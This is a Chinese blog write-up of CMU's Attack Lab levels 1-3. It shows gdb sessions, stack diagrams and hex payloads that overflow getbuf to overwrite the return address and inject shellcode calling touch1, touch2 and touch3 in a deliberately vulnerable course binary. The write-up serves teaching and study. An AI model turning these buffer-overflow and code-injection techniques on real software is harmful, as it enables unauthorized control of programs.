AttachLab level1 - level3

level_1

level_1不需要注入code,只需要输入string, 然后让程序不按照原定的跳去printf,跳去函数 touch1。

因为这个只经过 test 和 getbuf 两个函数,相对来说栈的结构很简答,caller 是 test, callee 是 getbuf。

void test() 
{
  int val;
  val = getbuf();
  printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
  char buf[BUFFER_SIZE];
  Gets(buf);
  return 1;
}
void touch1()
{
  vlevel = 1; /* Part of validation protocol */
  printf("Touch1!: You called touch1()\n");
  validate(1);
  exit(0);
}

这些函数对应的 disas 格式:

0000000000401968 <test>:
  401968:   48 83 ec 08             sub    $0x8,%rsp
  40196c:   b8 00 00 00 00          mov    $0x0,%eax
  401971:   e8 32 fe ff ff          callq  4017a8 <getbuf>
  401976:   89 c2                   mov    %eax,%edx
  401978:   be 88 31 40 00          mov    $0x403188,%esi
  40197d:   bf 01 00 00 00          mov    $0x1,%edi
  401982:   b8 00 00 00 00          mov    $0x0,%eax
  401987:   e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
  40198c:   48 83 c4 08             add    $0x8,%rsp
  401990:   c3                      retq   
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>: sub    $0x28,%rsp
   0x00000000004017ac <+4>: mov    %rsp,%rdi
   0x00000000004017af <+7>: callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
End of assembler dump.
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>: sub    $0x8,%rsp
   0x00000000004017c4 <+4>: movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.

画出对应的 stack frame 就是这样,当我们call getbuf之后,rsp 增加0x28, 说明我们的 char size 是 40, 那么我们只要想办法把return address 给覆盖掉,换成 touch1 的位置0x00000000004017c0

+----------------+
|                |
|                |
|    test        |
|                |
+----------------+
|    401976      | <---+ return address
+----------------+
|     getbuf     |
|0x28 = 40 Chars |
|                |
+----------------+ <----+ rsp

所以前 40 个 char是啥都无所谓,最后覆盖的地方需要设定为 0x00000000004017c0 既可。

level 1 也有很多提示:

  • 大端机器
  • 然后本地机器跑要加 -q
  • 猜想
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 c0 17 40 00 00 00 00 00
// 前40个char随意,就打40个‘8’,重点是后面的 c0 17 40 00 00 00 00 00 是 touch1 对应的开始位置

根据猜测变成 raw 来run

r -q < try_solve_raw 

可以这样来解决,上述文件输入 ctarget.1.txt:

./hex2raw < ctarget.1.txt  | ./ctarget -q

提示已经解决。

——————————————— 分割线———————————————

也可以尝试playground 玩一会:

(gdb) b *0x0000000000401968
Breakpoint 1 at 0x401968: file visible.c, line 90.

在一进入的地方设置一个breakpoint,然后 run -q, 记住此刻 info registers的信息:

(gdb) info registers 
...
rsp            0x5561dcb0   0x5561dcb0
...

stepi 让程序运行一步:

info registers 
...
rsp            0x5561dca8   0x5561dca8
...

区别就是 rsp 0x5561dca8 = 原本的 0x5561dcb0 - 0x8 完成了 sub 对应的命令。

stepi, stepi, 这个时候 gdb 告诉我们已经进入 getbuf () at buf.c:12

再看 此时的register

(gdb) info registers 
...
rsp            0x5561dca0   0x5561dca0
...

rsp 0x5561dca0 = rsp 0x5561dca8 - 0x8

这个时候考察我们的 rsp的值

x/gx $rsp
0x5561dca0: 0x0000000000401976

是跳回 之前test callq <getbuf> 的下一句,也就是这一句需要我们来修改。

level_2

// ctarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ec 17 40 00 00 00 00 00

如果我们直接把level 1 的解答最后的地址换成touch 2的,我们就可以成功的call touch2,但是命令并不会成功,因为我们需要传入参数。

r -q  -i ctarget.12-raw.txt 

文档提示是这样的:

  • 让 getbuf 结束之后跳转到 injected code的开始
  • 设置 %rdi
  • 让 injected code 结束之后利用 ret 跳转到 touch2, 不能使用 jmp 或者 call

injected code 主体部分只需要完成:

mov cookie, %rdi
ret

难点是如何让它的 ret 能够跳到 touch2 ,也就是如何把 touch2 的地址装入 ret 那一句之后的rip

+----------------+
|                |
|                |
|    test        |
|                |
+----------------+
|  injected add  | <---+ rsp = 0x5561dca0  
+----------------+
|   touch2 add   |
|injectd code    |
|                |
+----------------+ <----+ rsp = 0x5561dc78

可以在 getbuf 的最后一句地址处设置 breakpoint 然后来尝试指令:

b *0x0000000000401971 - 0x0000000000401971 <+9>:    callq  0x4017a8 <getbuf>

b *0x00000000004017bd - 0x00000000004017bd <+21>:   retq   

然后用 stepi 来看info address,再来一步步验证

0000000000000000 <.text>:
   0:   48 83 ec 08             sub    $0x8,%rsp
   4:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   b:   48 c7 04 24 ec 17 40    movq   $0x4017ec,(%rsp)
  12:   00
  13:   c3                      retq

这样生成了 20 个byte,然后再填上杂七杂八凑成 ctarget.12.txt:

38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 /* 这里开始就是0x5561dc88*/ 48 83 ec 08 48 c7 c7 fa 97 b9 59 48 c7 04 24 ec 17 40 00 c3 /* 添加一点nop */ 90 90 90 90 /*如同level1,放的跳转地址*/ 88 dc 61 55 00 00 00 00

运行:

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
    user id bovik
    course  15213-f15
    lab attacklab
    result  1:PASS:0xffffffff:ctarget:2:38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 48 83 EC 08 48 C7 C7 FA 97 B9 59 48 C7 04 24 EC 17 40 00 C3 90 90 90 90 88 DC 61 55 00 00 00 00 

解决。尝试一下不要 sub $0x8,%rsp 这一句呢。。。。 也是ok

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
    user id bovik
    course  15213-f15
    lab attacklab
    result  1:PASS:0xffffffff:ctarget:2:38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 48 C7 C7 FA 97 B9 59 48 C7 04 24 EC 17 40 00 C3 90 90 90 90 90 90 90 90 88 DC 61 55 00 00 00 00

level-3

先学习level-2

// ctarget.13.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 fa 18 40 00 00 00 00 00

这样可以直接到level-3

(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004018fa <+0>: push   %rbx
   0x00000000004018fb <+1>: mov    %rdi,%rbx
   0x00000000004018fe <+4>: movl   $0x3,0x202bd4(%rip)        # 0x6044dc <vlevel>
   0x0000000000401908 <+14>:    mov    %rdi,%rsi
   0x000000000040190b <+17>:    mov    0x202bd3(%rip),%edi        # 0x6044e4 <cookie>
   0x0000000000401911 <+23>:    callq  0x40184c <hexmatch>
   0x0000000000401916 <+28>:    test   %eax,%eax
   0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
   0x000000000040191a <+32>:    mov    %rbx,%rdx
   0x000000000040191d <+35>:    mov    $0x403138,%esi
   0x0000000000401922 <+40>:    mov    $0x1,%edi
   0x0000000000401927 <+45>:    mov    $0x0,%eax
   0x000000000040192c <+50>:    callq  0x400df0 <__printf_chk@plt>
   0x0000000000401931 <+55>:    mov    $0x3,%edi
   0x0000000000401936 <+60>:    callq  0x401c8d <validate>
   0x000000000040193b <+65>:    jmp    0x40195e <touch3+100>
   0x000000000040193d <+67>:    mov    %rbx,%rdx
   0x0000000000401940 <+70>:    mov    $0x403160,%esi
   0x0000000000401945 <+75>:    mov    $0x1,%edi
   0x000000000040194a <+80>:    mov    $0x0,%eax
   0x000000000040194f <+85>:    callq  0x400df0 <__printf_chk@plt>
   0x0000000000401954 <+90>:    mov    $0x3,%edi
   0x0000000000401959 <+95>:    callq  0x401d4f <fail>
   0x000000000040195e <+100>:   mov    $0x0,%edi
   0x0000000000401963 <+105>:   callq  0x400e40 <exit@plt>
End of assembler dump.

看 level-3 的提示,我们需要把 cookie 先变成 string:

0x  5  9  b  9  9  7 f  a
  35 39 62 39 39 37 66 61 00

先把string 放到0x5561dc78

35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 /* string */ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 88 dc 61 55 00 00 00 00

getbuf 的最后一句设置breakpoint,来run:

r -q  -i ctarget.13-raw.txt 

结果:

x/s  0x5561dc78
0x5561dc78: "59b997fa"

string 已经成功放好,然后看文档提示步骤,只需要把 rdi 设置为 string的位置,然后跳转到 touch3,对应的 assemble 语句是:

   0:   48 c7 c7 78 dc 61 55    mov    $0x5561dc78,%rdi
   7:   48 c7 04 24 fa 18 40    movq   $0x4018fa,(%rsp)
   e:   00 
   f:   c3                      retq   

生成 ctarget.13.txt:

35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 /* string */ 48 c7 c7 78 dc 61 55 /* mov    $0x5561dc78,%rdi */ 48 c7 04 24 fa 18 40 /* movq   $0x4018fa,(%rsp) */ 00 c3 /* retq */ 90 90 90 90 90 90 90 90 88 dc 61 55 00 00 00 00 /* 跳去运行地址 */

转成二进制:

Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
    user id bovik
    course  15213-f15
    lab attacklab
    result  1:PASS:0xffffffff:ctarget:3:35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 48 C7 C7 78 DC 61 55 48 C7 04 24 FA 18 40 00 C3 90 90 90 90 90 90 90 90 88 DC 61 55 00 00 00 00 

level -3 完成。

?著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,992评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,212评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事?!?“怎么了?”我有些...
    开封第一讲书人阅读 159,535评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,197评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,310评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,383评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,409评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,191评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,621评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,910评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,084评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,763评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,403评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,083评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,318评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,946评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,967评论 2 351

推荐阅读更多精彩内容